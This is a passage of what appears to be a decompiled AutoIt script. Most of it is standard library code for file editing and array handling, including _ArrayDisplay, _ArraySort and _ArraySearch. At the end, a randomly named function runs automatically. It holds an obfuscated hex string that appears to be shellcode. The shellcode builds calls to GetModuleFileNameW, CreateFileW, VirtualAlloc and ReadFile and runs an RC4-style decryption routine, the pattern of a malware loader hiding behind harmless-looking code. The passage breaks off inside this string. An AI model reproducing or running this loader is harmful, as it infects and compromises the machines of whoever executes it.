StringReplace($afilelines[$ncount], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness) $iretval = $iretval + 1 If $foccurance = 0 Then $iretval = 1 ExitLoop EndIf EndIf Next For $ncount = 1 To $afilelines[0] - 1 If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then FileClose($hwritehandle) Return SetError(3, 0, -1) EndIf Next If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[$ncount] & $sendswith) FileClose($hwritehandle) Return $iretval EndFunc Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7) If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\" Local $s_tempname Do $s_tempname = "" While StringLen($s_tempname) < $i_randomlength $s_tempname = $s_tempname & Chr(Random(97, 122, 1)) WEnd $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension Until NOT FileExists($s_tempname) Return $s_tempname EndFunc Func _arrayadd(ByRef $avarray, $vvalue) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1) Local $iubound = UBound($avarray) ReDim $avarray[$iubound + 1] $avarray[$iubound] = $vvalue Return $iubound EndFunc Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(5, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(4, 0, -1) Local $imid = Int(($iend + $istart) / 2) If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return SetError(2, 0, -1) While $istart <= $imid AND $vvalue <> $avarray[$imid] If $vvalue < $avarray[$imid] Then $iend = $imid - 1 Else $istart = $imid + 1 EndIf $imid = Int(($iend + $istart) / 2) WEnd If $istart > $iend Then Return SetError(3, 0, -1) Return $imid EndFunc Func _arraycombinations(ByRef $avarray, $iset, $sdelim = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) Local $in = UBound($avarray) Local $ir = $iset Local $aidx[$ir] For $i = 0 To $ir - 1 $aidx[$i] = $i Next Local $itotal = __array_combinations($in, $ir) Local $ileft = $itotal Local $aresult[$itotal + 1] $aresult[0] = $itotal Local $icount = 1 While $ileft > 0 __array_getnext($in, $ir, $ileft, $itotal, $aidx) For $i = 0 To $iset - 1 $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim Next If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1) $icount += 1 WEnd Return $aresult EndFunc Func _arrayconcatenate(ByRef $avarraytarget, Const ByRef $avarraysource, $istart = 0) If NOT IsArray($avarraytarget) Then Return SetError(1, 0, 0) If NOT IsArray($avarraysource) Then Return SetError(2, 0, 0) If UBound($avarraytarget, 0) <> 1 Then If UBound($avarraysource, 0) <> 1 Then Return SetError(5, 0, 0) Return SetError(3, 0, 0) EndIf If UBound($avarraysource, 0) <> 1 Then Return SetError(4, 0, 0) Local $iuboundtarget = UBound($avarraytarget) - $istart, $iuboundsource = UBound($avarraysource) ReDim $avarraytarget[$iuboundtarget + $iuboundsource] For $i = $istart To $iuboundsource - 1 $avarraytarget[$iuboundtarget + $i] = $avarraysource[$i] Next Return $iuboundtarget + $iuboundsource EndFunc Func _arraycreate($v_0, $v_1 = 0, $v_2 = 0, $v_3 = 0, $v_4 = 0, $v_5 = 0, $v_6 = 0, $v_7 = 0, $v_8 = 0, $v_9 = 0, $v_10 = 0, $v_11 = 0, $v_12 = 0, $v_13 = 0, $v_14 = 0, $v_15 = 0, $v_16 = 0, $v_17 = 0, $v_18 = 0, $v_19 = 0, $v_20 = 0) Local $av_array[21] = [$v_0, $v_1, $v_2, $v_3, $v_4, $v_5, $v_6, $v_7, $v_8, $v_9, $v_10, $v_11, $v_12, $v_13, $v_14, $v_15, $v_16, $v_17, $v_18, $v_19, $v_20] ReDim $av_array[@NumParams] Return $av_array EndFunc Func _arraydelete(ByRef $avarray, $ielement) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) Local $iubound = UBound($avarray, 1) - 1 If NOT $iubound Then $avarray = "" Return 0 EndIf If $ielement < 0 Then $ielement = 0 If $ielement > $iubound Then $ielement = $iubound Switch UBound($avarray, 0) Case 1 For $i = $ielement To $iubound - 1 $avarray[$i] = $avarray[$i + 1] Next ReDim $avarray[$iubound] Case 2 Local $isubmax = UBound($avarray, 2) - 1 For $i = $ielement To $iubound - 1 For $j = 0 To $isubmax $avarray[$i][$j] = $avarray[$i + 1][$j] Next Next ReDim $avarray[$iubound][$isubmax + 1] Case Else Return SetError(3, 0, 0) EndSwitch Return $iubound EndFunc Func _arraydisplay(Const ByRef $avarray, $stitle = "Array: ListView Display", $iitemlimit = -1, $itranspose = 0, $sseparator = "", $sreplace = "|", $sheader = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) Local $idimension = UBound($avarray, 0), $iubound = UBound($avarray, 1) - 1, $isubmax = UBound($avarray, 2) - 1 If $idimension > 2 Then Return SetError(2, 0, 0) If $sseparator = "" Then $sseparator = Chr(124) If _arraysearch($avarray, $sseparator, 0, 0, 0, 1) <> -1 Then For $x = 1 To 255 If $x >= 32 AND $x <= 127 Then ContinueLoop Local $sfind = _arraysearch($avarray, Chr($x), 0, 0, 0, 1) If $sfind = -1 Then $sseparator = Chr($x) ExitLoop EndIf Next EndIf Local $vtmp, $ibuffer = 64 Local $icollimit = 250 Local $ioneventmode = Opt("GUIOnEventMode", 0), $sdataseparatorchar = Opt("GUIDataSeparatorChar", $sseparator) If $isubmax < 0 Then $isubmax = 0 If $itranspose Then $vtmp = $iubound $iubound = $isubmax $isubmax = $vtmp EndIf If $isubmax > $icollimit Then $isubmax = $icollimit If $iitemlimit < 1 Then $iitemlimit = $iubound If $iubound > $iitemlimit Then $iubound = $iitemlimit If $sheader = "" Then $sheader = "Row " For $i = 0 To $isubmax $sheader &= $sseparator & "Col " & $i Next EndIf Local $avarraytext[$iubound + 1] For $i = 0 To $iubound $avarraytext[$i] = "[" & $i & "]" For $j = 0 To $isubmax If $idimension = 1 Then If $itranspose Then $vtmp = $avarray[$j] Else $vtmp = $avarray[$i] EndIf Else If $itranspose Then $vtmp = $avarray[$j][$i] Else $vtmp = $avarray[$i][$j] EndIf EndIf $vtmp = StringReplace($vtmp, $sseparator, $sreplace, 0, 1) $avarraytext[$i] &= $sseparator & $vtmp $vtmp = StringLen($vtmp) If $vtmp > $ibuffer Then $ibuffer = $vtmp Next Next $ibuffer += 1 Local Const $_arrayconstant_gui_dockborders = 102 Local Const $_arrayconstant_gui_dockbottom = 64 Local Const $_arrayconstant_gui_dockheight = 512 Local Const $_arrayconstant_gui_dockleft = 2 Local Const $_arrayconstant_gui_dockright = 4 Local Const $_arrayconstant_gui_event_close = -3 Local Const $_arrayconstant_lvif_param = 4 Local Const $_arrayconstant_lvif_text = 1 Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29) Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4) Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44) Local Const $_arrayconstant_lvm_insertitemw = (4096 + 77) Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54) Local Const $_arrayconstant_lvm_setitemw = (4096 + 76) Local Const $_arrayconstant_lvs_ex_fullrowselect = 32 Local Const $_arrayconstant_lvs_ex_gridlines = 1 Local Const $_arrayconstant_lvs_showselalways = 8 Local Const $_arrayconstant_ws_ex_clientedge = 512 Local Const $_arrayconstant_ws_maximizebox = 65536 Local Const $_arrayconstant_ws_minimizebox = 131072 Local Const $_arrayconstant_ws_sizebox = 262144 Local Const $_arrayconstant_taglvitem = "int Mask;int Item;int SubItem;int State;int StateMask;ptr Text;int TextMax;int Image;int Param;int Indent;int GroupID;int Columns;ptr pColumns" Local $iaddmask = BitOR($_arrayconstant_lvif_text, $_arrayconstant_lvif_param) Local $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]"), $pbuffer = DllStructGetPtr($tbuffer) Local $titem = DllStructCreate($_arrayconstant_taglvitem), $pitem = DllStructGetPtr($titem) DllStructSetData($titem, "Param", 0) DllStructSetData($titem, "Text", $pbuffer) DllStructSetData($titem, "TextMax", $ibuffer) Local $iwidth = 640, $iheight = 480 Local $hgui = GUICreate($stitle, $iwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox)) Local $aiguisize = WinGetClientSize($hgui) Local $hlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - 26, $_arrayconstant_lvs_showselalways) Local $hcopy = GUICtrlCreateButton("Copy Selected", 3, $aiguisize[1] - 23, $aiguisize[0] - 6, 20) GUICtrlSetResizing($hlistview, $_arrayconstant_gui_dockborders) GUICtrlSetResizing($hcopy, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines) GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect) GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge) Local $aitem For $i = 0 To $iubound If GUICtrlCreateListViewItem($avarraytext[$i], $hlistview) = 0 Then $aitem = StringSplit($avarraytext[$i], $sseparator) DllStructSetData($tbuffer, "Text", $aitem[1]) DllStructSetData($titem, "Item", $i) DllStructSetData($titem, "SubItem", 0) DllStructSetData($titem, "Mask", $iaddmask) GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_insertitemw, 0, $pitem) DllStructSetData($titem, "Mask", $_arrayconstant_lvif_text) For $j = 2 To $aitem[0] DllStructSetData($tbuffer, "Text", $aitem[$j]) DllStructSetData($titem, "SubItem", $j - 1) GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setitemw, 0, $pitem) Next EndIf Next $iwidth = 0 For $i = 0 To $isubmax + 1 $iwidth += GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0) Next If $iwidth < 250 Then $iwidth = 230 $iwidth += 20 If $iwidth > @DesktopWidth Then $iwidth = @DesktopWidth - 100 WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, Default, $iwidth) GUISetState(@SW_SHOW, $hgui) While 1 Switch GUIGetMsg() Case $_arrayconstant_gui_event_close ExitLoop Case $hcopy Local $sclip = "" Local $aicuritems[1] = [0] For $i = 0 To GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemcount, 0, 0) If GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemstate, $i, 2) Then $aicuritems[0] += 1 ReDim $aicuritems[$aicuritems[0] + 1] $aicuritems[$aicuritems[0]] = $i EndIf Next If NOT $aicuritems[0] Then For $sitem In $avarraytext $sclip &= $sitem & @CRLF Next Else For $i = 1 To UBound($aicuritems) - 1 $sclip &= $avarraytext[$aicuritems[$i]] & @CRLF Next EndIf ClipPut($sclip) EndSwitch WEnd GUIDelete($hgui) Opt("GUIOnEventMode", $ioneventmode) Opt("GUIDataSeparatorChar", $sdataseparatorchar) Return 1 EndFunc Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $ipartial = 0, $isubitem = 0) $istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $ipartial, 1, $isubitem) If @error Then Return SetError(@error, 0, -1) Local $iindex = 0, $avresult[UBound($avarray)] Do $avresult[$iindex] = $istart $iindex += 1 $istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $icase, $ipartial, 1, $isubitem) Until @error ReDim $avresult[$iindex] Return $avresult EndFunc Func _arrayinsert(ByRef $avarray, $ielement, $vvalue = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) Local $iubound = UBound($avarray) + 1 ReDim $avarray[$iubound] For $i = $iubound - 1 To $ielement + 1 Step -1 $avarray[$i] = $avarray[$i - 1] Next $avarray[$ielement] = $vvalue Return $iubound EndFunc Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend) If @error Then Return SetError(@error, 0, "") Return $avarray[$iresult] EndFunc Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) If NOT IsArray($avarray) OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, -1) Local $imaxindex = $istart If $icompnumeric Then For $i = $istart To $iend If Number($avarray[$imaxindex]) < Number($avarray[$i]) Then $imaxindex = $i Next Else For $i = $istart To $iend If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex = $i Next EndIf Return $imaxindex EndFunc Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend) If @error Then Return SetError(@error, 0, "") Return $avarray[$iresult] EndFunc Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, -1) Local $iminindex = $istart If $icompnumeric Then For $i = $istart To $iend If Number($avarray[$iminindex]) > Number($avarray[$i]) Then $iminindex = $i Next Else For $i = $istart To $iend If $avarray[$iminindex] > $avarray[$i] Then $iminindex = $i Next EndIf Return $iminindex EndFunc Func _arraypermute(ByRef $avarray, $sdelim = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1 For $i = 0 To $isize - 1 $aidx[$i] = $i Next For $i = $isize To 1 Step -1 $ifactorial *= $i Next ReDim $aresult[$ifactorial + 1] $aresult[0] = $ifactorial __array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $icount) Return $aresult EndFunc Func _arraypop(ByRef $avarray) If (NOT IsArray($avarray)) Then Return SetError(1, 0, "") If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, "") Local $iubound = UBound($avarray) - 1, $slastval = $avarray[$iubound] If NOT $iubound Then $avarray = "" Else ReDim $avarray[$iubound] EndIf Return $slastval EndFunc Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0) If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0) Local $iubound = UBound($avarray) - 1 If IsArray($vvalue) Then Local $iubounds = UBound($vvalue) If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0) If $idirection Then For $i = $iubound To $iubounds Step -1 $avarray[$i] = $avarray[$i - $iubounds] Next For $i = 0 To $iubounds - 1 $avarray[$i] = $vvalue[$i] Next Else For $i = 0 To $iubound - $iubounds $avarray[$i] = $avarray[$i + $iubounds] Next For $i = 0 To $iubounds - 1 $avarray[$i + $iubound - $iubounds + 1] = $vvalue[$i] Next EndIf Else If $idirection Then For $i = $iubound To 1 Step -1 $avarray[$i] = $avarray[$i - 1] Next $avarray[0] = $vvalue Else For $i = 0 To $iubound - 1 $avarray[$i] = $avarray[$i + 1] Next $avarray[$iubound] = $vvalue EndIf EndIf Return 1 EndFunc Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0) Local $vtmp, $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, 0) For $i = $istart To Int(($istart + $iend - 1) / 2) $vtmp = $avarray[$i] $avarray[$i] = $avarray[$iend] $avarray[$iend] = $vtmp $iend -= 1 Next Return 1 EndFunc Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $ipartial = 0, $iforward = 1, $isubitem = -1) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetError(2, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(4, 0, -1) Local $istep = 1 If NOT $iforward Then Local $itmp = $istart $istart = $iend $iend = $itmp $istep = -1 EndIf Switch UBound($avarray, 0) Case 1 If NOT $ipartial Then If NOT $icase Then For $i = $istart To $iend Step $istep If $avarray[$i] = $vvalue Then Return $i Next Else For $i = $istart To $iend Step $istep If $avarray[$i] == $vvalue Then Return $i Next EndIf Else For $i = $istart To $iend Step $istep If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i Next EndIf Case 2 Local $iuboundsub = UBound($avarray, 2) - 1 If $isubitem > $iuboundsub Then $isubitem = $iuboundsub If $isubitem < 0 Then $isubitem = 0 Else $iuboundsub = $isubitem EndIf For $j = $isubitem To $iuboundsub If NOT $ipartial Then If NOT $icase Then For $i = $istart To $iend Step $istep If $avarray[$i][$j] = $vvalue Then Return $i Next Else For $i = $istart To $iend Step $istep If $avarray[$i][$j] == $vvalue Then Return $i Next EndIf Else For $i = $istart To $iend Step $istep If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i Next EndIf Next Case Else Return SetError(7, 0, -1) EndSwitch Return SetError(6, 0, -1) EndFunc Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, 0) Switch UBound($avarray, 0) Case 1 __arrayquicksort1d($avarray, $istart, $iend) If $idescending Then _arrayreverse($avarray, $istart, $iend) Case 2 Local $isubmax = UBound($avarray, 2) - 1 If $isubitem > $isubmax Then Return SetError(3, 0, 0) If $idescending Then $idescending = -1 Else $idescending = 1 EndIf __arrayquicksort2d($avarray, $idescending, $istart, $iend, $isubitem, $isubmax) Case Else Return SetError(4, 0, 0) EndSwitch Return 1 EndFunc Func __arrayquicksort1d(ByRef $avarray, ByRef $istart, ByRef $iend) If $iend <= $istart Then Return Local $vtmp If ($iend - $istart) < 15 Then Local $vcur For $i = $istart + 1 To $iend $vtmp = $avarray[$i] If IsNumber($vtmp) Then For $j = $i - 1 To $istart Step -1 $vcur = $avarray[$j] If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop $avarray[$j + 1] = $vcur Next Else For $j = $i - 1 To $istart Step -1 If (StringCompare($vtmp, $avarray[$j]) >= 0) Then ExitLoop $avarray[$j + 1] = $avarray[$j] Next EndIf $avarray[$j + 1] = $vtmp Next Return EndIf Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)], $fnum = IsNumber($vpivot) Do If $fnum Then While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0) $l += 1 WEnd While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0) $r -= 1 WEnd Else While (StringCompare($avarray[$l], $vpivot) < 0) $l += 1 WEnd While (StringCompare($avarray[$r], $vpivot) > 0) $r -= 1 WEnd EndIf If $l <= $r Then $vtmp = $avarray[$l] $avarray[$l] = $avarray[$r] $avarray[$r] = $vtmp $l += 1 $r -= 1 EndIf Until $l > $r __arrayquicksort1d($avarray, $istart, $r) __arrayquicksort1d($avarray, $l, $iend) EndFunc Func __arrayquicksort2d(ByRef $avarray, ByRef $istep, ByRef $istart, ByRef $iend, ByRef $isubitem, ByRef $isubmax) If $iend <= $istart Then Return Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)][$isubitem], $fnum = IsNumber($vpivot) Do If $fnum Then While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem]) AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0) $l += 1 WEnd While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem]) AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0) $r -= 1 WEnd Else While ($istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0) $l += 1 WEnd While ($istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0) $r -= 1 WEnd EndIf If $l <= $r Then For $i = 0 To $isubmax $vtmp = $avarray[$l][$i] $avarray[$l][$i] = $avarray[$r][$i] $avarray[$r][$i] = $vtmp Next $l += 1 $r -= 1 EndIf Until $l > $r __arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax) __arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax) EndFunc Func _arrayswap(ByRef $vitem1, ByRef $vitem2) Local $vtmp = $vitem1 $vitem1 = $vitem2 $vitem2 = $vtmp EndFunc Func _arraytoclip(Const ByRef $avarray, $istart = 0, $iend = 0) Local $sresult = _arraytostring($avarray, @CR, $istart, $iend) If @error Then Return SetError(@error, 0, 0) Return ClipPut($sresult) EndFunc Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, "") If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "") Local $sresult, $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, "") For $i = $istart To $iend $sresult &= $avarray[$i] & $sdelim Next Return StringTrimRight($sresult, StringLen($sdelim)) EndFunc Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(5, 0, 0) If $idirection Then For $i = $istart To $iend $avarray[$i] = StringTrimRight($avarray[$i], $itrimnum) Next Else For $i = $istart To $iend $avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum) Next EndIf Return 1 EndFunc Func _arrayunique($aarray, $idimension = 1, $ibase = 0, $icase = 0, $vdelim = "|") Local $iubounddim If $vdelim = "|" Then $vdelim = Chr(1) If NOT IsArray($aarray) Then Return SetError(1, 0, 0) If NOT $idimension > 0 Then Return SetError(3, 0, 0) Else $iubounddim = UBound($aarray, 1) If @error Then Return SetError(3, 0, 0) If $idimension > 1 Then Local $aarraytmp[1] For $i = 0 To $iubounddim - 1 _arrayadd($aarraytmp, $aarray[$i][$idimension - 1]) Next _arraydelete($aarraytmp, 0) Else If UBound($aarray, 0) = 1 Then Dim $aarraytmp[1] For $i = 0 To $iubounddim - 1 _arrayadd($aarraytmp, $aarray[$i]) Next _arraydelete($aarraytmp, 0) Else Dim $aarraytmp[1] For $i = 0 To $iubounddim - 1 _arrayadd($aarraytmp, $aarray[$i][$idimension - 1]) Next _arraydelete($aarraytmp, 0) EndIf EndIf EndIf Local $shold For $icc = $ibase To UBound($aarraytmp) - 1 If NOT StringInStr($vdelim & $shold, $vdelim & $aarraytmp[$icc] & $vdelim, $icase) Then $shold &= $aarraytmp[$icc] & $vdelim Next If $shold Then $aarraytmp = StringSplit(StringTrimRight($shold, StringLen($vdelim)), $vdelim, 1) Return $aarraytmp EndIf Return SetError(2, 0, 0) EndFunc Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aidx, ByRef $aresult, ByRef $icount) If $istart == $isize - 1 Then For $i = 0 To $isize - 1 $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim Next If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1) $icount += 1 Else Local $itemp For $i = $istart To $isize - 1 $itemp = $aidx[$i] $aidx[$i] = $aidx[$istart] $aidx[$istart] = $itemp __array_exeterinternal($avarray, $istart + 1, $isize, $sdelim, $aidx, $aresult, $icount) $aidx[$istart] = $aidx[$i] $aidx[$i] = $itemp Next EndIf EndFunc Func __array_combinations($in, $ir) Local $i_total = 1 For $i = $ir To 1 Step -1 $i_total *= ($in / $i) $in -= 1 Next Return $i_total EndFunc Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx) If $ileft == $itotal Then $ileft -= 1 Return EndIf Local $i = $ir - 1 While $aidx[$i] == $in - $ir + $i $i -= 1 WEnd $aidx[$i] += 1 For $j = $i + 1 To $ir - 1 $aidx[$j] = $aidx[$i] + $j - $i Next $ileft -= 1 EndFunc _y0xc290d0743d86aba5040032d3e8d9b292() Func _y0xc290d0743d86aba5040032d3e8d9b292() $_y0x47791c9793540e4227f10e59291ae678 = "E80D02000033C0C3GG8BG5424G0C8BG4CG24G04G8BC24A57G8BGF985C07412568D72G018BG5424GG10G8A0288014142GGG4E75F7G5EGG8BC75FC3558BEC51G51535657688657G0D0068884EGGGG0DGG00E8G1A00GGG00008945FC68FAG8B340068884E0DG00GGE808G0000G00GG8945F8E9GB50000G00558BGEC53G56G57GG5164FF3530000000GG588BGG400C8B48G0CG8B11G8B4130G6AG028B7D0857G50GE85BG00000085C074048BCAGEBE78B41G18GG508B58G3C03GC38B58785850G03D8G8B4B1C8B5320G8B5B24G03GGGC803D003D8G8B32G5850G03F06AG01FFG75G0CG56GE823G0000G0085GC0740883C20483C3G02EBE3G58GG33D2668BG13C1GE202GGG03CAG03G01595FGG5EG5BGG8BE5GG5DGC2080055G8BECG5153G52GG33C933DB33D28B45088A10GG80GGCA6003DAGGD1E30345GGGG108A0884GC9E0GEEG33C08BG4D0C3BD9GGG7401405AG5B598BE55DC2GGG0C008B45088B4DGFCG5F5E89G088B45G0C8B4DF85B8908C9GGGC3G558BEC81EC08040000535633DB5733GD2G8D85F8GFBGFFGGGGFFB900G01G00G00GG8910G4283GC004G3BGD1G7CF633FF8DB5F8FBGFFGFF8BGC733GD2F775148B45G0C0FB6040203G0603C38BD9G99F7GFB8AGG064788G45FF8BDAGGGG8B949DGGGGF8FBGFFFFGG891683C6G040FGB6G55FFG8DG84G9DGF8FBFFGFFG3BF9GG89G10G7CC483G6514G00837D100076G6B8D47018BF199F7FE8BGFA8B84BDF8FBFFFF8DB4GGBDF8FBFFGFF03C38BD999GGF7FB8AGGG0688G45FFG8BGGGDAG8BG949DF8FBFFGGFF8916G0FB655GGFF8D849DF8FBFFFF89550C89108B45148B550803C28945F8GG8B06G03450C8BGF199GF7GGFE8B75F88AG84G95F8FBGFFFF3006GFF4514GG8B4514GG3B451072958BG45085FG5E5BC9C3GC3558BECB82041G00G00E8510300G00535657GE8GEAFFFFGFFG33GDBGGGGC645E86BGC645E965C6G45GGGEA72C645EB6EC645GEC65GC645ED6CC645EE33C645EFGG32C645F0GG2EC645GGF1GG64C645F2G6CC6G45GF36CG885DF4C64594GG47GGGC645G9565GGGC645G9674GC645G97G4DC645G98GG6FGC6G459964GGC6G459AG75C645G9B6CC6GG459C65GC6459D46C6459EG69C645G9FGG6CC645A0G65C645A14EC645A261GC645A3G6DGC645A4G65C645A557885DA6C645B8G43C645B9GG72C6G45BA65GC6G45BBG61C6G45BCG74GC645GGGBD65GC6GG45BE46C6G45BF69GC645GC06CGC645GC165GGC6G45GC2G57885DC3GGC645GA8G56C6GGG45GA969C645GGGAAGGG72C6GG45GAB74GC6G45GAC75GGC6G45AD61C645AE6CC6GG45AF41C6G45GB06CC645B1G6CC6G45B26FC6G45B363885DGGB4C645D047C645D165GC6G45D274GGC6G45GD346C6G45GGGD469C6GG45D56CC645GGD665GGC645D753C645D8GG69GC645D97AGC645DA6588G5DDBGC645DC52C645GGDD65C645DE61C6G45DF64GGGGC6G45GE046G8D45FCGC645E1G6950GGG8DGG45F850GC645E26CC645GGE3G65885DE4C6G45GC4GGG43C6G45C56CC6GG45C66FC6G45C773C645C865GC645C9G48C645CA61C6G45CB6EC6GGG45GCC64C645CD6CC645CEG65G88GGG5DCFGE899FCFFFF598D459459GG50G8D45GE850FF55F850FFG55FC8BF08D45GB8508D45GE850FF55F850GFF55FC89G856CFFFFGFF8D45A8508D45E8GGG